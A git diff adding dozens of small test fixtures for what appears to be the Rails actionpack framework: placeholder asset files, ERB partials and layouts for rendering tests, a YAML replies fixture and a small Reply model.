diff --git a/actionpack/test/fixtures/public/javascripts/effects.js b/actionpack/test/fixtures/public/javascripts/effects.js
new file mode 100644
index 0000000..b555d63
--- /dev/null
+++ b/actionpack/test/fixtures/public/javascripts/effects.js
@@ -0,0 +1 @@
+// effects js
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/javascripts/prototype.js b/actionpack/test/fixtures/public/javascripts/prototype.js
new file mode 100644
index 0000000..9780064
--- /dev/null
+++ b/actionpack/test/fixtures/public/javascripts/prototype.js
@@ -0,0 +1 @@
+// prototype js
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/javascripts/robber.js b/actionpack/test/fixtures/public/javascripts/robber.js
new file mode 100644
index 0000000..eb82fcb
--- /dev/null
+++ b/actionpack/test/fixtures/public/javascripts/robber.js
@@ -0,0 +1 @@
+// robber js
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/javascripts/subdir/subdir.js b/actionpack/test/fixtures/public/javascripts/subdir/subdir.js
new file mode 100644
index 0000000..9d23a67
--- /dev/null
+++ b/actionpack/test/fixtures/public/javascripts/subdir/subdir.js
@@ -0,0 +1 @@
+// subdir js
diff --git a/actionpack/test/fixtures/public/javascripts/version.1.0.js b/actionpack/test/fixtures/public/javascripts/version.1.0.js
new file mode 100644
index 0000000..cfd5fce
--- /dev/null
+++ b/actionpack/test/fixtures/public/javascripts/version.1.0.js
@@ -0,0 +1 @@
+// version.1.0 js
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/stylesheets/bank.css b/actionpack/test/fixtures/public/stylesheets/bank.css
new file mode 100644
index 0000000..ea161b1
--- /dev/null
+++ b/actionpack/test/fixtures/public/stylesheets/bank.css
@@ -0,0 +1 @@
+/* bank.css */
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/stylesheets/random.styles b/actionpack/test/fixtures/public/stylesheets/random.styles
new file mode 100644
index 0000000..d4eeead
--- /dev/null
+++ b/actionpack/test/fixtures/public/stylesheets/random.styles
@@ -0,0 +1 @@
+/* random.styles */
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/stylesheets/robber.css b/actionpack/test/fixtures/public/stylesheets/robber.css
new file mode 100644
index 0000000..0fdd00a
--- /dev/null
+++ b/actionpack/test/fixtures/public/stylesheets/robber.css
@@ -0,0 +1 @@
+/* robber.css */
\ No newline at end of file
diff --git a/actionpack/test/fixtures/public/stylesheets/subdir/subdir.css b/actionpack/test/fixtures/public/stylesheets/subdir/subdir.css
new file mode 100644
index 0000000..241152a
--- /dev/null
+++ b/actionpack/test/fixtures/public/stylesheets/subdir/subdir.css
@@ -0,0 +1 @@
+/* subdir.css */
diff --git a/actionpack/test/fixtures/public/stylesheets/version.1.0.css b/actionpack/test/fixtures/public/stylesheets/version.1.0.css
new file mode 100644
index 0000000..30f5f9b
--- /dev/null
+++ b/actionpack/test/fixtures/public/stylesheets/version.1.0.css
@@ -0,0 +1 @@
+/* version.1.0.css */
\ No newline at end of file
diff --git a/actionpack/test/fixtures/quiz/questions/_question.html.erb b/actionpack/test/fixtures/quiz/questions/_question.html.erb
new file mode 100644
index 0000000..fb4dcfe
--- /dev/null
+++ b/actionpack/test/fixtures/quiz/questions/_question.html.erb
@@ -0,0 +1 @@
+<%= question.name %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/replies.yml b/actionpack/test/fixtures/replies.yml
new file mode 100644
index 0000000..2a3454b
--- /dev/null
+++ b/actionpack/test/fixtures/replies.yml
@@ -0,0 +1,15 @@
+witty_retort:
+ id: 1
+ topic_id: 1
+ developer_id: 1
+ content: Birdman is better!
+ created_at: <%= 6.hours.ago.to_s(:db) %>
+ updated_at: nil
+
+another:
+ id: 2
+ topic_id: 2
+ developer_id: 1
+ content: Nuh uh!
+ created_at: <%= 1.hour.ago.to_s(:db) %>
+ updated_at: nil
diff --git a/actionpack/test/fixtures/replies/_reply.erb b/actionpack/test/fixtures/replies/_reply.erb
new file mode 100644
index 0000000..68baf54
--- /dev/null
+++ b/actionpack/test/fixtures/replies/_reply.erb
@@ -0,0 +1 @@
+<%= reply.content %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/reply.rb b/actionpack/test/fixtures/reply.rb
new file mode 100644
index 0000000..047522c
--- /dev/null
+++ b/actionpack/test/fixtures/reply.rb
@@ -0,0 +1,7 @@
+class Reply < ActiveRecord::Base
+ scope :base, -> { all }
+ belongs_to :topic, -> { includes(:replies) }
+ belongs_to :developer
+
+ validates_presence_of :content
+end
diff --git a/actionpack/test/fixtures/respond_to/all_types_with_layout.html.erb b/actionpack/test/fixtures/respond_to/all_types_with_layout.html.erb
new file mode 100644
index 0000000..84a8404
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/all_types_with_layout.html.erb
@@ -0,0 +1 @@
+HTML for all_types_with_layout
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/custom_constant_handling_without_block.mobile.erb b/actionpack/test/fixtures/respond_to/custom_constant_handling_without_block.mobile.erb
new file mode 100644
index 0000000..0cdfa41
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/custom_constant_handling_without_block.mobile.erb
@@ -0,0 +1 @@
+Mobile
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/iphone_with_html_response_type.html.erb b/actionpack/test/fixtures/respond_to/iphone_with_html_response_type.html.erb
new file mode 100644
index 0000000..1f3f1c6
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/iphone_with_html_response_type.html.erb
@@ -0,0 +1 @@
+Hello future from <%= @type -%>!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/iphone_with_html_response_type.iphone.erb b/actionpack/test/fixtures/respond_to/iphone_with_html_response_type.iphone.erb
new file mode 100644
index 0000000..17888ac
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/iphone_with_html_response_type.iphone.erb
@@ -0,0 +1 @@
+Hello iPhone future from <%= @type -%>!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/layouts/missing.html.erb b/actionpack/test/fixtures/respond_to/layouts/missing.html.erb
new file mode 100644
index 0000000..d6f92a3
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/layouts/missing.html.erb
@@ -0,0 +1 @@
+<html><div id="html_missing"><%= yield %></div></html>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/layouts/standard.html.erb b/actionpack/test/fixtures/respond_to/layouts/standard.html.erb
new file mode 100644
index 0000000..c6c1a58
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/layouts/standard.html.erb
@@ -0,0 +1 @@
+<html><div id="html"><%= yield %></div></html>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/layouts/standard.iphone.erb b/actionpack/test/fixtures/respond_to/layouts/standard.iphone.erb
new file mode 100644
index 0000000..8444451
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/layouts/standard.iphone.erb
@@ -0,0 +1 @@
+<html><div id="iphone"><%= yield %></div></html>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/using_defaults.html.erb b/actionpack/test/fixtures/respond_to/using_defaults.html.erb
new file mode 100644
index 0000000..6769dd6
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/using_defaults.html.erb
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/using_defaults.xml.builder b/actionpack/test/fixtures/respond_to/using_defaults.xml.builder
new file mode 100644
index 0000000..598d62e
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/using_defaults.xml.builder
@@ -0,0 +1 @@
+xml.p "Hello world!"
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/using_defaults_with_all.html.erb b/actionpack/test/fixtures/respond_to/using_defaults_with_all.html.erb
new file mode 100644
index 0000000..9f1f855
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/using_defaults_with_all.html.erb
@@ -0,0 +1 @@
+HTML!
diff --git a/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.html.erb b/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.html.erb
new file mode 100644
index 0000000..6769dd6
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.html.erb
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.xml.builder b/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.xml.builder
new file mode 100644
index 0000000..598d62e
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/using_defaults_with_type_list.xml.builder
@@ -0,0 +1 @@
+xml.p "Hello world!"
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_with/edit.html.erb b/actionpack/test/fixtures/respond_with/edit.html.erb
new file mode 100644
index 0000000..ae82dfa
--- /dev/null
+++ b/actionpack/test/fixtures/respond_with/edit.html.erb
@@ -0,0 +1 @@
+Edit world!
diff --git a/actionpack/test/fixtures/respond_with/new.html.erb b/actionpack/test/fixtures/respond_with/new.html.erb
new file mode 100644
index 0000000..96c8f1b
--- /dev/null
+++ b/actionpack/test/fixtures/respond_with/new.html.erb
@@ -0,0 +1 @@
+New world!
diff --git a/actionpack/test/fixtures/respond_with/using_invalid_resource_with_template.xml.erb b/actionpack/test/fixtures/respond_with/using_invalid_resource_with_template.xml.erb
new file mode 100644
index 0000000..bf5869e
--- /dev/null
+++ b/actionpack/test/fixtures/respond_with/using_invalid_resource_with_template.xml.erb
@@ -0,0 +1 @@
+<content>I should not be displayed</content>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_with/using_options_with_template.xml.erb b/actionpack/test/fixtures/respond_with/using_options_with_template.xml.erb
new file mode 100644
index 0000000..b313017
--- /dev/null
+++ b/actionpack/test/fixtures/respond_with/using_options_with_template.xml.erb
@@ -0,0 +1 @@
+<customer-name><%= @customer.name %></customer-name>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_with/using_resource.js.erb b/actionpack/test/fixtures/respond_with/using_resource.js.erb
new file mode 100644
index 0000000..4417680
--- /dev/null
+++ b/actionpack/test/fixtures/respond_with/using_resource.js.erb
@@ -0,0 +1 @@
+alert("Hi");
\ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_with/using_resource_with_block.html.erb b/actionpack/test/fixtures/respond_with/using_resource_with_block.html.erb
new file mode 100644
index 0000000..6769dd6
--- /dev/null
+++ b/actionpack/test/fixtures/respond_with/using_resource_with_block.html.erb
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/ruby_template.ruby b/actionpack/test/fixtures/ruby_template.ruby
new file mode 100644
index 0000000..5097bce
--- /dev/null
+++ b/actionpack/test/fixtures/ruby_template.ruby
@@ -0,0 +1,2 @@
+body = ""
+body << ["Hello", "from", "Ruby", "code"].join(" ")
diff --git a/actionpack/test/fixtures/scope/test/modgreet.erb b/actionpack/test/fixtures/scope/test/modgreet.erb
new file mode 100644
index 0000000..8947726
--- /dev/null
+++ b/actionpack/test/fixtures/scope/test/modgreet.erb
@@ -0,0 +1 @@
+<p>Beautiful modules!</p>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/session_autoload_test/session_autoload_test/foo.rb b/actionpack/test/fixtures/session_autoload_test/session_autoload_test/foo.rb
new file mode 100644
index 0000000..4ee7a24
--- /dev/null
+++ b/actionpack/test/fixtures/session_autoload_test/session_autoload_test/foo.rb
@@ -0,0 +1,10 @@
+module SessionAutoloadTest
+ class Foo
+ def initialize(bar='baz')
+ @bar = bar
+ end
+ def inspect
+ "#<#{self.class} bar:#{@bar.inspect}>"
+ end
+ end
+end
diff --git a/actionpack/test/fixtures/shared.html.erb b/actionpack/test/fixtures/shared.html.erb
new file mode 100644
index 0000000..af262fc
--- /dev/null
+++ b/actionpack/test/fixtures/shared.html.erb
@@ -0,0 +1 @@
+Elastica
\ No newline at end of file
diff --git a/actionpack/test/fixtures/star_star_mime/index.js.erb b/actionpack/test/fixtures/star_star_mime/index.js.erb
new file mode 100644
index 0000000..4da4181
--- /dev/null
+++ b/actionpack/test/fixtures/star_star_mime/index.js.erb
@@ -0,0 +1 @@
+function addition(a,b){ return a+b; }
diff --git a/actionpack/test/fixtures/symlink_parent/symlinked_layout.erb b/actionpack/test/fixtures/symlink_parent/symlinked_layout.erb
new file mode 100644
index 0000000..bda57d0
--- /dev/null
+++ b/actionpack/test/fixtures/symlink_parent/symlinked_layout.erb
@@ -0,0 +1,5 @@
+This is my layout
+
+<%= yield %>
+
+End.
diff --git a/actionpack/test/fixtures/test/_200.html.erb b/actionpack/test/fixtures/test/_200.html.erb
new file mode 100644
index 0000000..c9f4567
--- /dev/null
+++ b/actionpack/test/fixtures/test/_200.html.erb
@@ -0,0 +1 @@
+<h1>Invalid partial</h1>
diff --git a/actionpack/test/fixtures/test/_b_layout_for_partial.html.erb b/actionpack/test/fixtures/test/_b_layout_for_partial.html.erb
new file mode 100644
index 0000000..e918ba8
--- /dev/null
+++ b/actionpack/test/fixtures/test/_b_layout_for_partial.html.erb
@@ -0,0 +1 @@
+<b><%= yield %></b>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_b_layout_for_partial_with_object.html.erb b/actionpack/test/fixtures/test/_b_layout_for_partial_with_object.html.erb
new file mode 100644
index 0000000..bdd5301
--- /dev/null
+++ b/actionpack/test/fixtures/test/_b_layout_for_partial_with_object.html.erb
@@ -0,0 +1 @@
+<b class="<%= customer.name.downcase %>"><%= yield %></b>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb b/actionpack/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb
new file mode 100644
index 0000000..44d6121
--- /dev/null
+++ b/actionpack/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb
@@ -0,0 +1 @@
+<b data-counter="<%= customer_counter %>"><%= yield %></b>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_changing_priority.html.erb b/actionpack/test/fixtures/test/_changing_priority.html.erb
new file mode 100644
index 0000000..3225efc
--- /dev/null
+++ b/actionpack/test/fixtures/test/_changing_priority.html.erb
@@ -0,0 +1 @@
+HTML
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_changing_priority.json.erb b/actionpack/test/fixtures/test/_changing_priority.json.erb
new file mode 100644
index 0000000..7fa41dc
--- /dev/null
+++ b/actionpack/test/fixtures/test/_changing_priority.json.erb
@@ -0,0 +1 @@
+JSON
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_content_tag_nested_in_content_tag.erb b/actionpack/test/fixtures/test/_content_tag_nested_in_content_tag.erb
new file mode 100644
index 0000000..2f21a75
--- /dev/null
+++ b/actionpack/test/fixtures/test/_content_tag_nested_in_content_tag.erb
@@ -0,0 +1,3 @@
+<%= content_tag 'p' do %>
+ <%= content_tag 'b', 'Hello' %>
+<% end %>
diff --git a/actionpack/test/fixtures/test/_counter.html.erb b/actionpack/test/fixtures/test/_counter.html.erb
new file mode 100644
index 0000000..fd245bf
--- /dev/null
+++ b/actionpack/test/fixtures/test/_counter.html.erb
@@ -0,0 +1 @@
+<%= counter_counter %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_customer.erb b/actionpack/test/fixtures/test/_customer.erb
new file mode 100644
index 0000000..d8220af
--- /dev/null
+++ b/actionpack/test/fixtures/test/_customer.erb
@@ -0,0 +1 @@
+Hello: <%= customer.name rescue "Anonymous" %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_customer_counter.erb b/actionpack/test/fixtures/test/_customer_counter.erb
new file mode 100644
index 0000000..3435979
--- /dev/null
+++ b/actionpack/test/fixtures/test/_customer_counter.erb
@@ -0,0 +1 @@
+<%= customer_counter.name %><%= customer_counter_counter %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_customer_counter_with_as.erb b/actionpack/test/fixtures/test/_customer_counter_with_as.erb
new file mode 100644
index 0000000..1241eb6
--- /dev/null
+++ b/actionpack/test/fixtures/test/_customer_counter_with_as.erb
@@ -0,0 +1 @@
+<%= client.name %><%= client_counter %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_customer_greeting.erb b/actionpack/test/fixtures/test/_customer_greeting.erb
new file mode 100644
index 0000000..6acbcb2
--- /dev/null
+++ b/actionpack/test/fixtures/test/_customer_greeting.erb
@@ -0,0 +1 @@
+<%= greeting %>: <%= customer_greeting.name %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_customer_with_var.erb b/actionpack/test/fixtures/test/_customer_with_var.erb
new file mode 100644
index 0000000..00047dd
--- /dev/null
+++ b/actionpack/test/fixtures/test/_customer_with_var.erb
@@ -0,0 +1 @@
+<%= customer.name %> <%= customer.name %> <%= customer.name %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_directory/_partial_with_locales.html.erb b/actionpack/test/fixtures/test/_directory/_partial_with_locales.html.erb
new file mode 100644
index 0000000..1cc8d41
--- /dev/null
+++ b/actionpack/test/fixtures/test/_directory/_partial_with_locales.html.erb
@@ -0,0 +1 @@
+Hello <%= name %>
diff --git a/actionpack/test/fixtures/test/_first_json_partial.json.erb b/actionpack/test/fixtures/test/_first_json_partial.json.erb
new file mode 100644
index 0000000..790ee89
--- /dev/null
+++ b/actionpack/test/fixtures/test/_first_json_partial.json.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/second_json_partial" %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_form.erb b/actionpack/test/fixtures/test/_form.erb
new file mode 100644
index 0000000..01107f1
--- /dev/null
+++ b/actionpack/test/fixtures/test/_form.erb
@@ -0,0 +1 @@
+<%= form.label :title %>
diff --git a/actionpack/test/fixtures/test/_from_helper.erb b/actionpack/test/fixtures/test/_from_helper.erb
new file mode 100644
index 0000000..16de7c0
--- /dev/null
+++ b/actionpack/test/fixtures/test/_from_helper.erb
@@ -0,0 +1 @@
+<%= render_from_helper %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_hash_greeting.erb b/actionpack/test/fixtures/test/_hash_greeting.erb
new file mode 100644
index 0000000..fc54a36
--- /dev/null
+++ b/actionpack/test/fixtures/test/_hash_greeting.erb
@@ -0,0 +1 @@
+<%= greeting %>: <%= hash_greeting[:first_name] %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_hash_object.erb b/actionpack/test/fixtures/test/_hash_object.erb
new file mode 100644
index 0000000..34a92c6
--- /dev/null
+++ b/actionpack/test/fixtures/test/_hash_object.erb
@@ -0,0 +1,2 @@
+<%= hash_object[:first_name] %>
+<%= hash_object[:first_name].reverse %>
diff --git a/actionpack/test/fixtures/test/_hello.builder b/actionpack/test/fixtures/test/_hello.builder
new file mode 100644
index 0000000..ef52f63
--- /dev/null
+++ b/actionpack/test/fixtures/test/_hello.builder
@@ -0,0 +1 @@
+xm.hello
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_json_change_priority.json.erb b/actionpack/test/fixtures/test/_json_change_priority.json.erb
new file mode 100644
index 0000000..e69de29
diff --git a/actionpack/test/fixtures/test/_label_with_block.erb b/actionpack/test/fixtures/test/_label_with_block.erb
new file mode 100644
index 0000000..40117e5
--- /dev/null
+++ b/actionpack/test/fixtures/test/_label_with_block.erb
@@ -0,0 +1,4 @@
+<%= label 'post', 'message' do %>
+ Message
+ <%= text_field 'post', 'message' %>
+<% end %>
diff --git a/actionpack/test/fixtures/test/_labelling_form.erb b/actionpack/test/fixtures/test/_labelling_form.erb
new file mode 100644
index 0000000..1b95763
--- /dev/null
+++ b/actionpack/test/fixtures/test/_labelling_form.erb
@@ -0,0 +1 @@
+<%= labelling_form.label :title %>
diff --git a/actionpack/test/fixtures/test/_layout_for_block_with_args.html.erb b/actionpack/test/fixtures/test/_layout_for_block_with_args.html.erb
new file mode 100644
index 0000000..3075332
--- /dev/null
+++ b/actionpack/test/fixtures/test/_layout_for_block_with_args.html.erb
@@ -0,0 +1,3 @@
+Before
+<%= yield 'arg1', 'arg2' %>
+After
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_layout_for_partial.html.erb b/actionpack/test/fixtures/test/_layout_for_partial.html.erb
new file mode 100644
index 0000000..666efad
--- /dev/null
+++ b/actionpack/test/fixtures/test/_layout_for_partial.html.erb
@@ -0,0 +1,3 @@
+Before (<%= name %>)
+<%= yield %>
+After
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb b/actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb
new file mode 100644
index 0000000..820e7db
--- /dev/null
+++ b/actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb
@@ -0,0 +1,4 @@
+Before
+<%= render :partial => "test/partial" %>
+<%= yield %>
+After
diff --git a/actionpack/test/fixtures/test/_local_inspector.html.erb b/actionpack/test/fixtures/test/_local_inspector.html.erb
new file mode 100644
index 0000000..e6765c0
--- /dev/null
+++ b/actionpack/test/fixtures/test/_local_inspector.html.erb
@@ -0,0 +1 @@
+<%= local_assigns.keys.map {|k| k.to_s }.sort.join(",") -%>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_object_inspector.erb b/actionpack/test/fixtures/test/_object_inspector.erb
new file mode 100644
index 0000000..53af593
--- /dev/null
+++ b/actionpack/test/fixtures/test/_object_inspector.erb
@@ -0,0 +1 @@
+<%= object_inspector.inspect -%>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_one.html.erb b/actionpack/test/fixtures/test/_one.html.erb
new file mode 100644
index 0000000..f796291
--- /dev/null
+++ b/actionpack/test/fixtures/test/_one.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "two" %> world
diff --git a/actionpack/test/fixtures/test/_partial.erb b/actionpack/test/fixtures/test/_partial.erb
new file mode 100644
index 0000000..e466dcb
--- /dev/null
+++ b/actionpack/test/fixtures/test/_partial.erb
@@ -0,0 +1 @@
+invalid
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_partial.html.erb b/actionpack/test/fixtures/test/_partial.html.erb
new file mode 100644
index 0000000..e39f6c9
--- /dev/null
+++ b/actionpack/test/fixtures/test/_partial.html.erb
@@ -0,0 +1 @@
+partial html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_partial.js.erb b/actionpack/test/fixtures/test/_partial.js.erb
new file mode 100644
index 0000000..b350cdd
--- /dev/null
+++ b/actionpack/test/fixtures/test/_partial.js.erb
@@ -0,0 +1 @@
+partial js
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_partial_for_use_in_layout.html.erb b/actionpack/test/fixtures/test/_partial_for_use_in_layout.html.erb
new file mode 100644
index 0000000..3a03a64
--- /dev/null
+++ b/actionpack/test/fixtures/test/_partial_for_use_in_layout.html.erb
@@ -0,0 +1 @@
+Inside from partial (<%= name %>)
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_partial_html_erb.html.erb b/actionpack/test/fixtures/test/_partial_html_erb.html.erb
new file mode 100644
index 0000000..4b54875
--- /dev/null
+++ b/actionpack/test/fixtures/test/_partial_html_erb.html.erb
@@ -0,0 +1 @@
+<%= "partial.html.erb" %>
diff --git a/actionpack/test/fixtures/test/_partial_name_local_variable.erb b/actionpack/test/fixtures/test/_partial_name_local_variable.erb
new file mode 100644
index 0000000..cc3a91c
--- /dev/null
+++ b/actionpack/test/fixtures/test/_partial_name_local_variable.erb
@@ -0,0 +1 @@
+<%= partial_name_local_variable %>
diff --git a/actionpack/test/fixtures/test/_partial_only.erb b/actionpack/test/fixtures/test/_partial_only.erb
new file mode 100644
index 0000000..a44b3ee
--- /dev/null
+++ b/actionpack/test/fixtures/test/_partial_only.erb
@@ -0,0 +1 @@
+only partial
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_partial_only_html.html b/actionpack/test/fixtures/test/_partial_only_html.html
new file mode 100644
index 0000000..d2d630b
--- /dev/null
+++ b/actionpack/test/fixtures/test/_partial_only_html.html
@@ -0,0 +1 @@
+only html partial
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_partial_with_layout.erb b/actionpack/test/fixtures/test/_partial_with_layout.erb
new file mode 100644
index 0000000..2a50c83
--- /dev/null
+++ b/actionpack/test/fixtures/test/_partial_with_layout.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'test/partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Bar!' } %>
+partial with layout
diff --git a/actionpack/test/fixtures/test/_partial_with_layout_block_content.erb b/actionpack/test/fixtures/test/_partial_with_layout_block_content.erb
new file mode 100644
index 0000000..65dafd9
--- /dev/null
+++ b/actionpack/test/fixtures/test/_partial_with_layout_block_content.erb
@@ -0,0 +1,4 @@
+<%= render :layout => 'test/layout_for_partial', :locals => { :name => 'Bar!' } do %>
+ Content from inside layout!
+<% end %>
+partial with layout
diff --git a/actionpack/test/fixtures/test/_partial_with_layout_block_partial.erb b/actionpack/test/fixtures/test/_partial_with_layout_block_partial.erb
new file mode 100644
index 0000000..444197a
--- /dev/null
+++ b/actionpack/test/fixtures/test/_partial_with_layout_block_partial.erb
@@ -0,0 +1,4 @@
+<%= render :layout => 'test/layout_for_partial', :locals => { :name => 'Bar!' } do %>
+ <%= render 'test/partial' %>
+<% end %>
+partial with layout
diff --git a/actionpack/test/fixtures/test/_partial_with_only_html_version.html.erb b/actionpack/test/fixtures/test/_partial_with_only_html_version.html.erb
new file mode 100644
index 0000000..00e6b6d
--- /dev/null
+++ b/actionpack/test/fixtures/test/_partial_with_only_html_version.html.erb
@@ -0,0 +1 @@
+partial with only html version
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_partial_with_partial.erb b/actionpack/test/fixtures/test/_partial_with_partial.erb
new file mode 100644
index 0000000..ee0d503
--- /dev/null
+++ b/actionpack/test/fixtures/test/_partial_with_partial.erb
@@ -0,0 +1,2 @@
+<%= render 'test/partial' %>
+partial with partial
diff --git a/actionpack/test/fixtures/test/_person.erb b/actionpack/test/fixtures/test/_person.erb
new file mode 100644
index 0000000..b2e5688
--- /dev/null
+++ b/actionpack/test/fixtures/test/_person.erb
@@ -0,0 +1,2 @@
+Second: <%= name %>
+Third: <%= @name %>
diff --git a/actionpack/test/fixtures/test/_raise.html.erb b/actionpack/test/fixtures/test/_raise.html.erb
new file mode 100644
index 0000000..68b0818
--- /dev/null
+++ b/actionpack/test/fixtures/test/_raise.html.erb
@@ -0,0 +1 @@
+<%= doesnt_exist %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_raise_indentation.html.erb b/actionpack/test/fixtures/test/_raise_indentation.html.erb
new file mode 100644
index 0000000..f9a9372
--- /dev/null
+++ b/actionpack/test/fixtures/test/_raise_indentation.html.erb
@@ -0,0 +1,13 @@
+<p>First paragraph</p>
+<p>Second paragraph</p>
+<p>Third paragraph</p>
+<p>Fourth paragraph</p>
+<p>Fifth paragraph</p>
+<p>Sixth paragraph</p>
+<p>Seventh paragraph</p>
+<p>Eight paragraph</p>
+<p>Ninth paragraph</p>
+<p>Tenth paragraph</p>
+<%= raise "error here!" %>
+<p>Eleventh paragraph</p>
+<p>Twelfth paragraph</p>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_second_json_partial.json.erb b/actionpack/test/fixtures/test/_second_json_partial.json.erb
new file mode 100644
index 0000000..5ebb7f1
--- /dev/null
+++ b/actionpack/test/fixtures/test/_second_json_partial.json.erb
@@ -0,0 +1 @@
+Third level
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_two.html.erb b/actionpack/test/fixtures/test/_two.html.erb
new file mode 100644
index 0000000..5ab2f8a
--- /dev/null
+++ b/actionpack/test/fixtures/test/_two.html.erb
@@ -0,0 +1 @@
+Hello
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_utf8_partial.html.erb b/actionpack/test/fixtures/test/_utf8_partial.html.erb
new file mode 100644
index 0000000..8d717fd
--- /dev/null
+++ b/actionpack/test/fixtures/test/_utf8_partial.html.erb
@@ -0,0 +1 @@
+<%= "текст" %>
diff --git a/actionpack/test/fixtures/test/_utf8_partial_magic.html.erb b/actionpack/test/fixtures/test/_utf8_partial_magic.html.erb
new file mode 100644
index 0000000..4e22246
--- /dev/null
+++ b/actionpack/test/fixtures/test/_utf8_partial_magic.html.erb
@@ -0,0 +1,2 @@
+<%# encoding: utf-8 -%>
+<%= "текст" %>
diff --git a/actionpack/test/fixtures/test/action_talk_to_layout.erb b/actionpack/test/fixtures/test/action_talk_to_layout.erb
new file mode 100644
index 0000000..36e896d
--- /dev/null
+++ b/actionpack/test/fixtures/test/action_talk_to_layout.erb
@@ -0,0 +1,2 @@
+<% @title = "Talking to the layout" -%>
+Action was here!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/basic.html.erb b/actionpack/test/fixtures/test/basic.html.erb
new file mode 100644
index 0000000..ea696d7
--- /dev/null
+++ b/actionpack/test/fixtures/test/basic.html.erb
@@ -0,0 +1 @@
+Hello from basic.html.erb
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/calling_partial_with_layout.html.erb b/actionpack/test/fixtures/test/calling_partial_with_layout.html.erb
new file mode 100644
index 0000000..ac44bc0
--- /dev/null
+++ b/actionpack/test/fixtures/test/calling_partial_with_layout.html.erb
@@ -0,0 +1 @@
+<%= render(:layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => { :name => "David" }) %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/capturing.erb b/actionpack/test/fixtures/test/capturing.erb
new file mode 100644
index 0000000..1addaa4
--- /dev/null
+++ b/actionpack/test/fixtures/test/capturing.erb
@@ -0,0 +1,4 @@
+<% days = capture do %>
+ Dreamy days
+<% end %>
+<%= days %>
\ No newline at end of file
